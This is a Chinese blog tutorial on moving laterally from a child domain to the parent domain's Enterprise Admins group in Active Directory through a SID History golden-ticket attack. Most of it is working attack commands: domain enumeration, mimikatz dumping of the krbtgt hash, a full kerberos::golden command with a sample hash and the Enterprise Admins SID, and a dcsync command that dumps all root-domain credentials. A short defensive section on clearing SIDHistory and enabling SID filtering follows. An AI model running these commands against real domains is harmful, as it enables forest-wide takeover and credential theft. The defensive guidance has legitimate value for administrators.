写点什么

渗透测试之子域到父域的横向移动(Sid History)

用户头像
H
关注
发布于: 20 小时前
渗透测试之子域到父域的横向移动(Sid History)

前言

本文接上篇文章探究子域如何横向移动到父域的 Enterprise Admin 组,并给出防御方法。

Enterprise Admins 组

在父子域中,最重要的莫过于 Enterprise Admins 组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins 组会自动添加到林中每个域中的 Administrators 组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有 Enterprise Admins 组。本文也是基于 Enterprise Admins 组来提权。

跨域访问流程

用户在登录某台客户机的时候,系统必须验证用户的身份,除了账号密码之外,还会为用户建立一个 access

token(访问令牌),其中包含用户账户的 SID、用户所隶属的所有组的 SID 等数据。当用户取得 access

token 后,如果他要访问计算机内的资源时,便会出示 access token,而系统会根据 access

token 内的 SID 数据来决定用户拥有何种权限。 同理当用户连接网络上其他计算机时,这台计算机也会为该用户建立一个 access

token,当用户需要访问资源的时候,便会出示 access token,这台计算机便会根据出示的 access

token 的 SID 数据,来决定用户拥有何种的访问权限

SID History

根据微软的解释,SID History 是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符

(SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。SID

历史记录允许将另一个帐户的访问有效地克隆到另一个帐户,并且对于确保用户在从一个域移动(迁移)到另一个域时保留访问权限非常有用。

而一个账户可以在 SID-History Active Directory 属性中保存额外的 SID

,从而允许域之间进行可相互操作的帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。 为了达到 SID

History 攻击的目的,我们的将使用域管理员权限,将获取到的有权限的 SID 值插入到 SID 历史记录中,以实现模拟任意用户/组(例如 Enterprise

Admins)的权限,达到跨域提权目的。

枚举域信任

1、用全局编录的方式进行域信任查看

Get-DomainTrust -SearchBase “GC://( ((ENV:USERDNSDOMAIN)”


2、使用 powershell 展现一个域信任关系

Get-ADTrust -Filter *


3、使用 windows 自带命令查看

nltest /domain_trusts


从上面的命令可以看出来,父域和子域是存在双向的信任关系

环境准备

本地环境使用到的是 windows server2016

主域:dpl.com

子域:ziyu.dpl.com

假设已经拿到子域域控的权限,接下来我要拿根域的权限

从子域到父域的 EA 组提权利用(Sid History)

Sid History 攻击需要:

1、域名称(GET-ADDomain)

2、域的 SID 值(GET-ADDomainSID)

3、域的 KRBTGT 账户的 hash(mimitakz)

4、伪造用户名(administrator)

5、根域 EA 组的 ObjectID(Convert-NameToSid)

一、利用 powerview+mimikatz 完成攻击利用

Ⅰ、使用 Sid History 完成对父域的提权

①获取子域名称

Get-Domain 或 ipconfig /all


②获取子域的 SID 值

Get-DomainSID


③获取子域 KRBTGT 的 hash

sekurlsa::krbtgt

④获取根域 EA 组的 ObjectID

Convert-NameToSid dpl\krbtgt


Ⅱ、SID 介绍

SID 用于唯一标识安全主体或安全组,以 S-1-5-21-1315137663-3706837544-1429009142-502 为例

表示字符串为 SID(S)

修订级别(1)

标识符颁发机构 (5,NT Authority)

域标识符(21-1315137663-3706837544-1429009142)

相对标识符 RID(krbtgt 502)

常见的 SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

而完成 Sid History 攻击需要修改其 RID,获取到 krbtgt 的 SID 后,将 502 修改为 519,也就是 Enterprise Admins 组

格式:mimikatz kerberos::golden /user:administrator /domain: /sid: /krbtgt:<KRBTGT_HASH> /sids:-519 /ptt

/user – 需要模拟的用户名,本例中为 administrator

/domain – 完全限定域名(FQDN)

/sid – 域的 SID

/krbtgt – krbtgt 的 ntlm 密码 hash

/sids – AD 林中帐户/组的 SID,能获取高权限的 ticket,本例中为 Enterprise Admins 组

/ptt – 将伪造的票据注入内存以供使用

Ⅲ、使用 mimikatz 完成攻击

访问根域是拒绝


命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt


用主机名访问,不然会出错,访问父域成功


使用 mimikatz 导出根域的 hash

lsadump::dcsync /domain:dpl.com /all /csv


防御方法

1、合法帐户迁移完成后清除 SID-History 属性

a.标识帐户的 SIDHistory 属性中的 SID。

Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory

b.使用前面标识的 SID 删除 SIDHistory 属性

Set-ADUser -Identity -Remove @{SIDHistory=‘S-1-5-21-…’}

2、使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory

netdom trust /domain: /EnableSIDHistory:no

3、使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任

netdom trust /domain: /quarantine:yes


看得懂吗,看不懂吧,看不懂还不赶快学


用户头像

H

关注

还未添加个人签名 2021.07.04 加入

想白嫖网安学习资料的,扣我

评论

发布
暂无评论
渗透测试之子域到父域的横向移动(Sid History)